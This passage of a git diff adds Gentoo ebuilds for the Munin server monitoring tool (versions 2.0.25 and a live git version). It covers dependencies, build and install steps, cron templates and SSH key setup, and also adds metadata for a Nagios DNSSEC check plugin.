+ elog "Documentation on how to use it is still sparse."
+ fi
+ fi
+
+ # we create this here as we don't want Portage to check /run
+ # symlinks but we still need this to be present before the reboot.
+ if ! use minimal && ! [[ -d "${ROOT}"/run/munin ]]; then
+ mkdir "${ROOT}"/run/munin
+ chown munin:munin "${ROOT}"/run/munin
+ chmod 0700 "${ROOT}"/run/munin
+ fi
+}
diff --git a/net-analyzer/munin/munin-2.0.25.ebuild b/net-analyzer/munin/munin-2.0.25.ebuild
new file mode 100644
index 000000000000..ea909a57205e
--- /dev/null
+++ b/net-analyzer/munin/munin-2.0.25.ebuild
@@ -0,0 +1,407 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PATCHSET=1
+
+inherit eutils user java-pkg-opt-2 systemd
+
+MY_P=${P/_/-}
+
+DESCRIPTION="Munin Server Monitoring Tool"
+HOMEPAGE="http://munin-monitoring.org/"
+SRC_URI="
+ mirror://sourceforge/munin/${MY_P}.tar.gz
+ http://dev.gentoo.org/~jlec/distfiles/${P}-gentoo-${PATCHSET}.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~mips ~ppc ~x86"
+IUSE="asterisk irc java memcached minimal mysql postgres ssl test cgi ipv6 syslog ipmi http dhcpd doc apache"
+REQUIRED_USE="cgi? ( !minimal ) apache? ( cgi )"
+
+# Upstream's listing of required modules is NOT correct!
+# Some of the postgres plugins use DBD::Pg, while others call psql directly.
+# Some of the mysql plugins use DBD::mysql, while others call mysqladmin directly.
+# We replace the original ipmi plugins with the freeipmi_ plugin which at least works.
+DEPEND_COM="
+ dev-lang/perl[berkdb]
+ dev-perl/DBI
+ dev-perl/DateManip
+ dev-perl/File-Copy-Recursive
+ dev-perl/List-MoreUtils
+ dev-perl/Log-Log4perl
+ dev-perl/Net-CIDR
+ dev-perl/Net-DNS
+ dev-perl/Net-Netmask
+ dev-perl/Net-SNMP
+ dev-perl/net-server[ipv6(-)?]
+ virtual/perl-Digest-MD5
+ virtual/perl-Getopt-Long
+ virtual/perl-MIME-Base64
+ virtual/perl-Storable
+ virtual/perl-Text-Balanced
+ virtual/perl-Time-HiRes
+ apache? ( www-servers/apache[apache2_modules_cgi,apache2_modules_cgid,apache2_modules_rewrite] )
+ asterisk? ( dev-perl/Net-Telnet )
+ cgi? ( dev-perl/FCGI )
+ dhcpd? (
+ >=net-misc/dhcp-3[server]
+ dev-perl/Net-IP
+ dev-perl/HTTP-Date
+ )
+ doc? ( dev-python/sphinx )
+ http? ( dev-perl/libwww-perl )
+ irc? ( dev-perl/Net-IRC )
+ kernel_linux? ( sys-process/procps )
+ memcached? ( dev-perl/Cache-Memcached )
+ mysql? (
+ virtual/mysql
+ dev-perl/Cache-Cache
+ dev-perl/DBD-mysql
+ )
+ postgres? ( dev-perl/DBD-Pg dev-db/postgresql )
+ ssl? ( dev-perl/Net-SSLeay )
+ syslog? ( virtual/perl-Sys-Syslog )
+ !minimal? (
+ dev-perl/HTML-Template
+ dev-perl/IO-Socket-INET6
+ dev-perl/URI
+ >=net-analyzer/rrdtool-1.3[graph,perl]
+ virtual/ssh
+ )
+ "
+
+# Keep this seperate, as previous versions have had other deps here
+DEPEND="${DEPEND_COM}
+ dev-perl/Module-Build
+ java? ( >=virtual/jdk-1.5 )
+ test? (
+ dev-perl/Test-Deep
+ dev-perl/Test-LongString
+ dev-perl/Test-Differences
+ dev-perl/Test-MockModule
+ dev-perl/Test-MockObject
+ dev-perl/File-Slurp
+ dev-perl/IO-stringy
+ dev-perl/IO-Socket-INET6
+ )"
+RDEPEND="${DEPEND_COM}
+ virtual/awk
+ ipmi? ( >=sys-libs/freeipmi-1.1.6-r1 )
+ java? (
+ >=virtual/jre-1.5
+ || ( net-analyzer/netcat6 net-analyzer/netcat )
+ )
+ !minimal? (
+ virtual/cron
+ media-fonts/dejavu
+ )
+ !<sys-apps/openrc-0.11.8"
+
+S="${WORKDIR}/${MY_P}"
+
+pkg_setup() {
+ enewgroup munin
+ enewuser munin 177 -1 /var/lib/munin munin
+ enewuser munin-async -1 /bin/sh /var/spool/munin-async
+ esethome munin-async /var/spool/munin-async
+ java-pkg-opt-2_pkg_setup
+}
+
+src_prepare() {
+ epatch "${WORKDIR}"/patches/*.patch
+
+ java-pkg-opt-2_src_prepare
+}
+
+src_configure() {
+ local cgidir='$(DESTDIR)/usr/libexec/munin/cgi'
+ use cgi || cgidir="${T}/useless/cgi-bin"
+
+ local cgiuser=$(usex apache apache munin)
+
+ cat >> "${S}"/Makefile.config <<- EOF
+ PREFIX=\$(DESTDIR)/usr
+ CONFDIR=\$(DESTDIR)/etc/munin
+ DOCDIR=${T}/useless/doc
+ MANDIR=\$(PREFIX)/share/man
+ LIBDIR=\$(PREFIX)/libexec/munin
+ HTMLDIR=\$(DESTDIR)/var/www/localhost/htdocs/munin
+ CGIDIR=${cgidir}
+ CGITMPDIR=\$(DESTDIR)/var/cache/munin-cgi
+ CGIUSER=${cgiuser}
+ DBDIR=\$(DESTDIR)/var/lib/munin
+ DBDIRNODE=\$(DESTDIR)/var/lib/munin-node
+ SPOOLDIR=\$(DESTDIR)/var/spool/munin-async
+ LOGDIR=\$(DESTDIR)/var/log/munin
+ PERLSITELIB=$(perl -V:vendorlib | cut -d"'" -f2)
+ JCVALID=$(usex java yes no)
+ STATEDIR=\$(DESTDIR)/run/munin
+ EOF
+}
+
+# parallel make and install need to be fixed before, and I haven't
+# gotten around to do so yet.
+src_compile() {
+ emake -j1
+ use doc && emake -C doc html
+}
+
+src_test() {
+ if [[ ${EUID} == 0 ]]; then
+ eerror "You cannot run tests as root."
+ eerror "Please enable FEATURES=userpriv before proceeding."
+ return 1
+ fi
+
+ local testtargets="test-common test-node test-plugins"
+ use minimal || testtargets+=" test-master"
+
+ LC_ALL=C emake -j1 ${testtargets}
+}
+
+src_install() {
+ local dirs="
+ /var/log/munin
+ /var/lib/munin/plugin-state
+ /etc/munin/plugin-conf.d
+ /etc/munin/plugins"
+ use minimal || dirs+=" /etc/munin/munin-conf.d/"
+
+ keepdir ${dirs}
+ fowners munin:munin ${dirs}
+
+ # parallel install doesn't work and it's also pointless to have this
+ # run in parallel for now (because it uses internal loops).
+ emake -j1 DESTDIR="${D}" $(usex minimal install-minimal install)
+
+ # we remove /run from the install, as it's not the package's to deal
+ # with.
+ rm -rf "${D}"/run || die
+
+ # remove the plugins for non-Gentoo package managers; use -f so that
+ # it doesn't fail when installing on non-Linux platforms.
+ rm -f "${D}"/usr/libexec/munin/plugins/{apt{,_all},yum} || die
+
+ insinto /etc/munin/plugin-conf.d/
+ newins "${FILESDIR}"/${PN}-1.3.2-plugins.conf munin-node
+
+ newinitd "${FILESDIR}"/munin-node_init.d_2.0.19 munin-node
+ newconfd "${FILESDIR}"/munin-node_conf.d_1.4.6-r2 munin-node
+
+ newinitd "${FILESDIR}"/munin-asyncd.init.2 munin-asyncd
+
+ dodir /usr/lib/tmpfiles.d
+ cat > "${D}"/usr/lib/tmpfiles.d/${CATEGORY}:${PN}:${SLOT}.conf <<- EOF
+ d /run/munin 0700 munin munin - -
+ EOF
+
+ systemd_dounit "${FILESDIR}"/munin-async.service
+ systemd_dounit "${FILESDIR}"/munin-graph.{service,socket}
+ systemd_dounit "${FILESDIR}"/munin-html.{service,socket}
+ systemd_dounit "${FILESDIR}"/munin-node.service
+
+ cat >> "${T}"/munin.env <<- EOF
+ CONFIG_PROTECT=/var/spool/munin-async/.ssh
+ EOF
+ newenvd "${T}"/munin.env 50munin
+
+ dodoc README ChangeLog INSTALL
+ if use doc; then
+ cd "${S}"/doc/_build/html || die
+ docinto html
+ dodoc -r *
+ cd "${S}" || die
+ fi
+
+ dodir /etc/logrotate.d/
+ sed -e "s:@CGIUSER@:$(usex apache apache munin):g" \
+ "${FILESDIR}"/logrotate.d-munin.3 > "${D}"/etc/logrotate.d/munin
+
+ dosym ipmi_ /usr/libexec/munin/plugins/ipmi_sensor_
+
+ if use syslog; then
+ sed -i -e '/log_file/s| .*| Sys::Syslog|' \
+ "${D}"/etc/munin/munin-node.conf || die
+ fi
+
+ # Use a simpler pid file to avoid trouble with /run in tmpfs. The
+ # munin-node service is ran as user root, and only later drops
+ # privileges.
+ sed -i -e 's:/run/munin/munin-node.pid:/run/munin-node.pid:' \
+ "${D}"/etc/munin/munin-node.conf || die
+
+ keepdir /var/spool/munin-async/.ssh
+ touch "${D}"/var/spool/munin-async/.ssh/authorized_keys
+ fowners munin-async:munin /var/spool/munin-async{,/.ssh/{,authorized_keys}}
+ fperms 0750 /var/spool/munin-async{,/.ssh}
+ fperms 0600 /var/spool/munin-async/.ssh/authorized_keys
+
+ if use minimal; then
+ # This requires the presence of munin-update, which is part of
+ # the non-minimal install...
+ rm "${D}"/usr/libexec/munin/plugins/munin_stats
+ else
+ # remove font files so that we don't have to keep them around
+ rm "${D}"/usr/libexec/${PN}/*.ttf || die
+
+ if use cgi; then
+ sed -i -e '/#graph_strategy cgi/s:^#::' "${D}"/etc/munin/munin.conf || die
+
+ keepdir /var/cache/munin-cgi
+ touch "${D}"/var/log/munin/munin-cgi-{graph,html}.log
+ fowners $(usex apache apache munin) \
+ /var/cache/munin-cgi \
+ /var/log/munin/munin-cgi-{graph,html}.log
+
+ if use apache; then
+ insinto /etc/apache2/vhosts.d
+ newins "${FILESDIR}"/munin.apache.include munin.include
+ newins "${FILESDIR}"/munin.apache.include-2.4 munin-2.4.include
+ fi
+ else
+ sed \
+ -e '/#graph_strategy cgi/s:#graph_strategy cgi:graph_strategy cron:' \
+ -i "${D}"/etc/munin/munin.conf || die
+ fi
+
+ keepdir /var/lib/munin/.ssh
+ cat >> "${D}"/var/lib/munin/.ssh/config <<- EOF
+ IdentityFile /var/lib/munin/.ssh/id_ecdsa
+ IdentityFile /var/lib/munin/.ssh/id_rsa
+ EOF
+
+ fowners munin:munin /var/lib/munin/.ssh/{,config}
+ fperms go-rwx /var/lib/munin/.ssh/{,config}
+
+ dodir /usr/share/${PN}
+ cat >> "${D}"/usr/share/${PN}/crontab <<- EOF
+ # Force the shell to bash
+ SHELL=/bin/bash
+ # Mail reports to root@, not munin@
+ MAILTO=root
+
+ # This runs the munin task every 5 minutes.
+ */5 * * * * /usr/bin/munin-cron
+
+ # Alternatively, this route works differently
+ # Update once a minute (for busy sites)
+ #*/1 * * * * /usr/libexec/munin/munin-update
+ ## Check for limit excess every 2 minutes
+ #*/2 * * * * /usr/libexec/munin/munin-limits
+ ## Update graphs every 5 minutes
+ #*/5 * * * * nice /usr/libexec/munin/munin-graph
+ ## Update HTML pages every 15 minutes
+ #*/15 * * * * nice /usr/libexec/munin/munin-html
+ EOF
+
+ cat >> "${D}"/usr/share/${PN}/fcrontab <<- EOF
+ # Mail reports to root@, not munin@, only execute one at a time
+ !mailto(root),serial(true)
+
+ # This runs the munin task every 5 minutes.
+ @ 5 /usr/bin/munin-cron
+
+ # Alternatively, this route works differently
+ # Update once a minute (for busy sites)
+ #@ 1 /usr/libexec/munin/munin-update
+ ## Check for limit excess every 2 minutes
+ #@ 2 /usr/libexec/munin/munin-limits
+ ## Update graphs every 5 minutes
+ #@ 5 nice /usr/libexec/munin/munin-graph
+ ## Update HTML pages every 15 minutes
+ #@ 15 nice /usr/libexec/munin/munin-html
+ EOF
+
+ # remove .htaccess file
+ find "${D}" -name .htaccess -delete || die
+ fi
+}
+
+pkg_config() {
+ if use minimal; then
+ einfo "Nothing to do."
+ return 0
+ fi
+
+ einfo "Press enter to install the default crontab for the munin master"
+ einfo "installation from /usr/share/${PN}/f?crontab"
+ einfo "If you have a large site, you may wish to customize it."
+ read
+
+ ebegin "Setting up cron ..."
+ if has_version sys-process/fcron; then
+ fcrontab - -u munin < /usr/share/${PN}/fcrontab
+ else
+ # dcron is very fussy about syntax
+ # the following is the only form that works in BOTH dcron and vixie-cron
+ crontab - -u munin < /usr/share/${PN}/crontab
+ fi
+ eend $?
+
+ einfo "Press enter to set up the SSH keys used for SSH transport"
+ read
+
+ # generate one rsa (for legacy) and one ecdsa (for new systems)
+ ssh-keygen -t rsa \
+ -f /var/lib/munin/.ssh/id_rsa -N '' \
+ -C "created by portage for ${CATEGORY}/${PN}" || die
+ ssh-keygen -t ecdsa \
+ -f /var/lib/munin/.ssh/id_ecdsa -N '' \
+ -C "created by portage for ${CATEGORY}/${PN}" || die
+ chown -R munin:munin /var/lib/munin/.ssh || die
+ chmod 0600 /var/lib/munin/.ssh/id_{rsa,ecdsa} || die
+
+ einfo "Your public keys are available in "
+ einfo " /var/lib/munin/.ssh/id_rsa.pub"
+ einfo " /var/lib/munin/.ssh/id_ecdsa.pub"
+ einfo "and follows for convenience"
+ echo
+ cat /var/lib/munin/.ssh/id_*.pub
+}
+
+pkg_postinst() {
+ elog "Please follow the munin documentation to set up the plugins you"
+ elog "need, afterwards start munin-node."
+ elog ""
+ elog "To make use of munin-async, make sure to set up the corresponding"
+ elog "SSH key in /var/lib/munin-async/.ssh/authorized_keys"
+ elog ""
+ if ! use minimal; then
+ elog "Please run"
+ elog " emerge --config net-analyzer/munin"
+ elog "to automatically configure munin's cronjobs as well as generate"
+ elog "passwordless SSH keys to be used with munin-async."
+ fi
+ elog ""
+ elog "Further information about setting up Munin in Gentoo can be found"
+ elog "in the Gentoo Wiki: https://wiki.gentoo.org/wiki/Munin"
+
+ if use cgi; then
+ chown $(usex apache apache munin) \
+ "${ROOT}"/var/cache/munin-cgi \
+ "${ROOT}"/var/log/munin/munin-cgi-{graph,html}.log
+
+ if use apache; then
+ elog "To use Munin with CGI you should include /etc/apache2/vhosts.d/munin.include"
+ elog "or /etc/apache2/vhosts.d/munin-2.4.include (for Apache 2.4) from the virtual"
+ elog "host you want it to be served."
+ elog "If you want to enable CGI-based HTML as well, you have to add to"
+ elog "/etc/conf.d/apache2 the option -D MUNIN_HTML_CGI."
+ else
+ elog "Effective CGI support has just been added in 2.0.7-r6."
+ elog "Documentation on how to use it is still sparse."
+ fi
+ fi
+
+ # we create this here as we don't want Portage to check /run
+ # symlinks but we still need this to be present before the reboot.
+ if ! use minimal && ! [[ -d "${ROOT}"/run/munin ]]; then
+ mkdir "${ROOT}"/run/munin
+ chown munin:munin "${ROOT}"/run/munin
+ chmod 0700 "${ROOT}"/run/munin
+ fi
+}
diff --git a/net-analyzer/munin/munin-2.1.9999.ebuild b/net-analyzer/munin/munin-2.1.9999.ebuild
new file mode 100644
index 000000000000..0da7213fde10
--- /dev/null
+++ b/net-analyzer/munin/munin-2.1.9999.ebuild
@@ -0,0 +1,382 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils user java-pkg-opt-2 git-2
+
+EGIT_REPO_URI="https://github.com/munin-monitoring/${PN}.git"
+
+DESCRIPTION="Munin Server Monitoring Tool"
+HOMEPAGE="http://munin-monitoring.org/"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+IUSE="irc java memcached minimal mysql postgres selinux ssl test cgi ipv6 syslog ipmi http dhcpd doc apache"
+REQUIRED_USE="cgi? ( !minimal ) apache? ( cgi )"
+
+# Upstream's listing of required modules is NOT correct!
+# Some of the postgres plugins use DBD::Pg, while others call psql directly.
+# Some of the mysql plugins use DBD::mysql, while others call mysqladmin directly.
+# We replace the original ipmi plugins with the freeipmi_ plugin which at least works.
+DEPEND_COM="dev-lang/perl[berkdb]
+ sys-process/procps
+ doc? ( dev-python/sphinx )
+ irc? ( dev-perl/Net-IRC )
+ mysql? ( virtual/mysql
+ dev-perl/Cache-Cache
+ dev-perl/DBD-mysql )
+ ssl? ( dev-perl/Net-SSLeay )
+ postgres? ( dev-perl/DBD-Pg dev-db/postgresql )
+ memcached? ( dev-perl/Cache-Memcached )
+ cgi? ( dev-perl/FCGI )
+ apache? ( www-servers/apache[apache2_modules_cgi,apache2_modules_cgid,apache2_modules_rewrite] )
+ syslog? ( virtual/perl-Sys-Syslog )
+ http? ( dev-perl/libwww-perl )
+ dhcpd? (
+ >=net-misc/dhcp-3[server]
+ dev-perl/Net-IP
+ dev-perl/HTTP-Date
+ )
+ dev-perl/DBI
+ dev-perl/DateManip
+ dev-perl/File-Copy-Recursive
+ dev-perl/List-MoreUtils
+ dev-perl/Log-Log4perl
+ dev-perl/Net-CIDR
+ dev-perl/Net-Netmask
+ dev-perl/Net-SNMP
+ dev-perl/net-server[ipv6(-)?]
+ virtual/perl-Digest-MD5
+ virtual/perl-Getopt-Long
+ virtual/perl-MIME-Base64
+ virtual/perl-Storable
+ virtual/perl-Text-Balanced
+ virtual/perl-Time-HiRes
+ !minimal? (
+ dev-perl/HTML-Template
+ dev-perl/IO-Socket-INET6
+ dev-perl/URI
+ >=net-analyzer/rrdtool-1.3[graph,perl]
+ virtual/ssh
+ )"
+
+# Keep this seperate, as previous versions have had other deps here
+DEPEND="${DEPEND_COM}
+ dev-perl/Module-Build
+ java? ( >=virtual/jdk-1.5 )
+ test? (
+ dev-perl/Test-Deep
+ dev-perl/Test-LongString
+ dev-perl/Test-Differences
+ dev-perl/Test-MockModule
+ dev-perl/Test-MockObject
+ dev-perl/File-Slurp
+ dev-perl/IO-stringy
+ dev-perl/IO-Socket-INET6
+ )"
+RDEPEND="${DEPEND_COM}
+ virtual/awk
+ ipmi? ( >=sys-libs/freeipmi-1.1.6-r1 )
+ java? (
+ >=virtual/jre-1.5
+ || ( net-analyzer/netcat6 net-analyzer/netcat )
+ )
+ !minimal? (
+ virtual/cron
+ media-fonts/dejavu
+ )
+ selinux? ( sec-policy/selinux-munin )
+ !<sys-apps/openrc-0.11.8"
+
+pkg_setup() {
+ enewgroup munin
+ enewuser munin 177 -1 /var/lib/munin munin
+ enewuser munin-async -1 /bin/sh /var/spool/munin-async
+ esethome munin-async /var/spool/munin-async
+ java-pkg-opt-2_pkg_setup
+}
+
+src_prepare() {
+ java-pkg-opt-2_src_prepare
+}
+
+src_configure() {
+ local cgidir='$(DESTDIR)/usr/libexec/munin/cgi'
+ use cgi || cgidir="${T}/useless/cgi-bin"
+
+ local cgiuser=$(usex apache apache munin)
+
+ cat - >> "${S}"/Makefile.config <<EOF
+PREFIX=\$(DESTDIR)/usr
+CONFDIR=\$(DESTDIR)/etc/munin
+DOCDIR=${T}/useless/doc
+MANDIR=\$(PREFIX)/share/man
+LIBDIR=\$(PREFIX)/libexec/munin
+HTMLDIR=\$(DESTDIR)/var/www/localhost/htdocs/munin
+CGIDIR=${cgidir}
+CGITMPDIR=\$(DESTDIR)/var/cache/munin-cgi
+CGIUSER=${cgiuser}
+DBDIR=\$(DESTDIR)/var/lib/munin
+DBDIRNODE=\$(DESTDIR)/var/lib/munin-node
+SPOOLDIR=\$(DESTDIR)/var/spool/munin-async
+LOGDIR=\$(DESTDIR)/var/log/munin
+PERLSITELIB=$(perl -V:vendorlib | cut -d"'" -f2)
+JCVALID=$(usex java yes no)
+STATEDIR=\$(DESTDIR)/run/munin
+EOF
+}
+
+# parallel make and install need to be fixed before, and I haven't
+# gotten around to do so yet.
+src_compile() {
+ emake -j1
+ if use doc; then
+ emake -C doc html
+ fi
+}
+
+src_test() {
+ if [[ ${EUID} == 0 ]]; then
+ eerror "You cannot run tests as root."
+ eerror "Please enable FEATURES=userpriv before proceeding."
+ return 1
+ fi
+
+ local testtargets="test-common test-node test-plugins"
+ use minimal || testtargets+=" test-master"
+
+ LC_ALL=C emake -j1 ${testtargets}
+}
+
+src_install() {
+ local dirs="
+ /var/log/munin
+ /var/lib/munin/plugin-state
+ /etc/munin/plugin-conf.d
+ /etc/munin/plugins"
+ use minimal || dirs+=" /etc/munin/munin-conf.d/"
+
+ keepdir ${dirs}
+ fowners munin:munin ${dirs}
+
+ # parallel install doesn't work and it's also pointless to have this
+ # run in parallel for now (because it uses internal loops).
+ emake -j1 DESTDIR="${D}" $(usex minimal "install-minimal install-man" install)
+
+ # we remove /run from the install, as it's not the package's to deal
+ # with.
+ rm -rf "${D}"/run
+
+ # remove the plugins for non-Gentoo package managers
+ rm "${D}"/usr/libexec/munin/plugins/{apt{,_all},yum} || die
+
+ insinto /etc/munin/plugin-conf.d/
+ newins "${FILESDIR}"/${PN}-1.3.2-plugins.conf munin-node
+
+ newinitd "${FILESDIR}"/munin-node_init.d_2.0.7 munin-node
+ newconfd "${FILESDIR}"/munin-node_conf.d_1.4.6-r2 munin-node
+
+ newinitd "${FILESDIR}"/munin-asyncd.init.2 munin-asyncd
+
+ cat - >> "${T}"/munin.env <<EOF
+CONFIG_PROTECT=/var/spool/munin-async/.ssh
+EOF
+ newenvd "${T}"/munin.env 50munin
+
+ dodoc README.rst ChangeLog INSTALL
+ if use doc; then
+ cd "${S}"/doc/_build/html
+ dohtml -r *
+ cd "${S}"
+ fi
+
+ dodir /etc/logrotate.d/
+ sed -e "s:@CGIUSER@:$(usex apache apache munin):g" \
+ "${FILESDIR}"/logrotate.d-munin.3 > "${D}"/etc/logrotate.d/munin
+
+ dosym ipmi_ /usr/libexec/munin/plugins/ipmi_sensor_
+
+ if use syslog; then
+ sed -i -e '/log_file/s| .*| Sys::Syslog|' \
+ "${D}"/etc/munin/munin-node.conf || die
+ fi
+
+ # Use a simpler pid file to avoid trouble with /run in tmpfs. The
+ # munin-node service is ran as user root, and only later drops
+ # privileges.
+ sed -i -e 's:/run/munin/munin-node.pid:/run/munin-node.pid:' \
+ "${D}"/etc/munin/munin-node.conf || die
+
+ keepdir /var/spool/munin-async/.ssh
+ touch "${D}"/var/spool/munin-async/.ssh/authorized_keys
+ fowners munin-async:munin /var/spool/munin-async{,/.ssh/{,authorized_keys}}
+ fperms 0750 /var/spool/munin-async{,/.ssh}
+ fperms 0600 /var/spool/munin-async/.ssh/authorized_keys
+
+ if use minimal; then
+ # This requires the presence of munin-update, which is part of
+ # the non-minimal install...
+ rm "${D}"/usr/libexec/munin/plugins/munin_stats
+ else
+ dodir /usr/lib/tmpfiles.d
+ cat - > "${D}"/usr/lib/tmpfiles.d/${CATEGORY}:${PN}:${SLOT}.conf <<EOF
+d /run/munin 0700 munin munin - -
+EOF
+
+ # remove font files so that we don't have to keep them around
+ rm "${D}"/usr/libexec/${PN}/*.ttf || die
+
+ if use cgi; then
+ sed -i -e '/#graph_strategy cgi/s:^#::' "${D}"/etc/munin/munin.conf || die
+
+ keepdir /var/cache/munin-cgi
+ touch "${D}"/var/log/munin/munin-cgi-{graph,html}.log
+ fowners $(usex apache apache munin) \
+ /var/cache/munin-cgi \
+ /var/log/munin/munin-cgi-{graph,html}.log
+
+ if use apache; then
+ insinto /etc/apache2/vhosts.d
+ newins "${FILESDIR}"/munin.apache.include munin.include
+ newins "${FILESDIR}"/munin.apache.include-2.4 munin-2.4.include
+ fi
+ else
+ sed -i -e '/#graph_strategy cgi/s:#graph_strategy cgi:graph_strategy cron:' "${D}"/etc/munin/munin.conf || die
+ fi
+
+ keepdir /var/lib/munin/.ssh
+ cat - >> "${D}"/var/lib/munin/.ssh/config <<EOF
+IdentityFile /var/lib/munin/.ssh/id_ecdsa
+IdentityFile /var/lib/munin/.ssh/id_rsa
+EOF
+
+ fowners munin:munin /var/lib/munin/.ssh/{,config}
+ fperms go-rwx /var/lib/munin/.ssh/{,config}
+
+ dodir /usr/share/${PN}
+ cat - >> "${D}"/usr/share/${PN}/crontab <<EOF
+# Force the shell to bash
+SHELL=/bin/bash
+# Mail reports to root@, not munin@
+MAILTO=root
+
+# This runs the munin task every 5 minutes.
+*/5 * * * * /usr/bin/munin-cron
+
+# Alternatively, this route works differently
+# Update once a minute (for busy sites)
+#*/1 * * * * /usr/libexec/munin/munin-update
+## Check for limit excess every 2 minutes
+#*/2 * * * * /usr/libexec/munin/munin-limits
+## Update graphs every 5 minutes
+#*/5 * * * * nice /usr/libexec/munin/munin-graph
+## Update HTML pages every 15 minutes
+#*/15 * * * * nice /usr/libexec/munin/munin-html
+EOF
+
+ cat - >> "${D}"/usr/share/${PN}/fcrontab <<EOF
+# Mail reports to root@, not munin@, only execute one at a time
+!mailto(root),serial(true)
+
+# This runs the munin task every 5 minutes.
+@ 5 /usr/bin/munin-cron
+
+# Alternatively, this route works differently
+# Update once a minute (for busy sites)
+#@ 1 /usr/libexec/munin/munin-update
+## Check for limit excess every 2 minutes
+#@ 2 /usr/libexec/munin/munin-limits
+## Update graphs every 5 minutes
+#@ 5 nice /usr/libexec/munin/munin-graph
+## Update HTML pages every 15 minutes
+#@ 15 nice /usr/libexec/munin/munin-html
+EOF
+
+ # remove .htaccess file
+ find "${D}" -name .htaccess -delete || die
+ fi
+}
+
+pkg_config() {
+ if use minimal; then
+ einfo "Nothing to do."
+ return 0
+ fi
+
+ einfo "Press enter to install the default crontab for the munin master"
+ einfo "installation from /usr/share/${PN}/f?crontab"
+ einfo "If you have a large site, you may wish to customize it."
+ read
+
+ ebegin "Setting up cron ..."
+ if has_version sys-process/fcron; then
+ fcrontab - -u munin < /usr/share/${PN}/fcrontab
+ else
+ # dcron is very fussy about syntax
+ # the following is the only form that works in BOTH dcron and vixie-cron
+ crontab - -u munin < /usr/share/${PN}/crontab
+ fi
+ eend $?
+
+ einfo "Press enter to set up the SSH keys used for SSH transport"
+ read
+
+ # generate one rsa (for legacy) and one ecdsa (for new systems)
+ ssh-keygen -t rsa -f /var/lib/munin/.ssh/id_rsa -N '' -C "created by portage for ${CATEGORY}/${PN}" || die
+ ssh-keygen -t ecdsa -f /var/lib/munin/.ssh/id_ecdsa -N '' -C "created by portage for ${CATEGORY}/${PN}" || die
+ chown -R munin:munin /var/lib/munin/.ssh || die
+ chmod 0600 /var/lib/munin/.ssh/id_{rsa,ecdsa} || die
+
+ einfo "Your public keys are available in "
+ einfo " /var/lib/munin/.ssh/id_rsa.pub"
+ einfo " /var/lib/munin/.ssh/id_ecdsa.pub"
+ einfo "and follows for convenience"
+ echo
+ cat /var/lib/munin/.ssh/id_*.pub
+}
+
+pkg_postinst() {
+ elog "Please follow the munin documentation to set up the plugins you"
+ elog "need, afterwards start munin-node via /etc/init.d/munin-node."
+ elog ""
+ elog "To make use of munin-async, make sure to set up the corresponding"
+ elog "SSH key in /var/lib/munin-async/.ssh/authorized_keys"
+ elog ""
+ if ! use minimal; then
+ elog "Please run"
+ elog " emerge --config net-analyzer/munin"
+ elog "to automatically configure munin's cronjobs as well as generate"
+ elog "passwordless SSH keys to be used with munin-async."
+ fi
+ elog ""
+ elog "Further information about setting up Munin in Gentoo can be found"
+ elog "in the Gentoo Wiki: https://wiki.gentoo.org/wiki/Munin"
+
+ if use cgi; then
+ chown $(usex apache apache munin) \
+ "${ROOT}"/var/cache/munin-cgi \
+ "${ROOT}"/var/log/munin-cgi-{graph,html}.log
+
+ if use apache; then
+ elog "To use Munin with CGI you should include /etc/apache2/vhosts.d/munin.include"
+ elog "or /etc/apache2/vhosts.d/munin-2.4.include (for Apache 2.4) from the virtual"
+ elog "host you want it to be served."
+ elog "If you want to enable CGI-based HTML as well, you have to add to"
+ elog "/etc/conf.d/apache2 the option -D MUNIN_HTML_CGI."
+ else
+ elog "Effective CGI support has just been added in 2.0.7-r6."
+ elog "Documentation on how to use it is still sparse."
+ fi
+ fi
+
+ # we create this here as we don't want Portage to check /run
+ # symlinks but we still need this to be present before the reboot.
+ if ! use minimal && ! [[ -d "${ROOT}"/run/munin ]]; then
+ mkdir "${ROOT}"/run/munin
+ chown munin:munin "${ROOT}"/run/munin
+ chmod 0700 "${ROOT}"/run/munin
+ fi
+}
diff --git a/net-analyzer/nagios-check_dnssec/Manifest b/net-analyzer/nagios-check_dnssec/Manifest
new file mode 100644
index 000000000000..61ce37706042
--- /dev/null
+++ b/net-analyzer/nagios-check_dnssec/Manifest
@@ -0,0 +1 @@
+DIST check_dnssec-0.1_p28.tar.bz2 73458 SHA256 fedc867447f17299a4bb45c406f99483b0f09689b2a5fbbd3e29926f109952ea SHA512 e99b155f38963858750443f3cf834e4505f871cb06bbfabf07ade1b333b18507b9364e7250118ed5ee4a2134e2a45ee68b6386a9f3b0cb30a0bb02a4a6e263fa WHIRLPOOL 5510bfc17b2cd6e70d9361a44d19af9c7b40823da163c9b92edbc593fed69209127f56e72c239389c750688a4a0ef3ed0b77bcb8f27a6d4328c7130593cf8360
diff --git a/net-analyzer/nagios-check_dnssec/metadata.xml b/net-analyzer/nagios-check_dnssec/metadata.xml
new file mode 100644
index 000000000000..f54283e06f33
--- /dev/null
+++ b/net-analyzer/nagios-check_dnssec/metadata.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>andrew@ahamilto.net</email>
+ <name>Andrew Hamilton</name>
+ <description>Maintainer. Assign bugs to him.</description>
+ </maintainer>
+ <maintainer>
+ <email>creffett@gentoo.org</email>
+ <name>Chris Reffett</name>
+ <description>Proxy maintainer. CC him on bugs.</description>
+ </maintainer>
+ <herd>proxy-maintainers</herd>
+ <herd>sysadmin</herd>
+</pkgmetadata>
diff --git a/net-analyzer/nagios-check_dnssec/nagios-check_dnssec-0.1_p28.ebuild b/net-analyzer/nagios-check_dnssec/nagios-check_dnssec-0.1_p28.ebuild
new file mode 100644
index 000000000000..ba95859c44e9
--- /dev/null
+++ b/net-analyzer/nagios-check_dnssec/nagios-check_dnssec-0.1_p28.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit eutils autotools
+DESCRIPTION="check_dnssec is a set of Nagios plugins to monitor DNSSEC services"
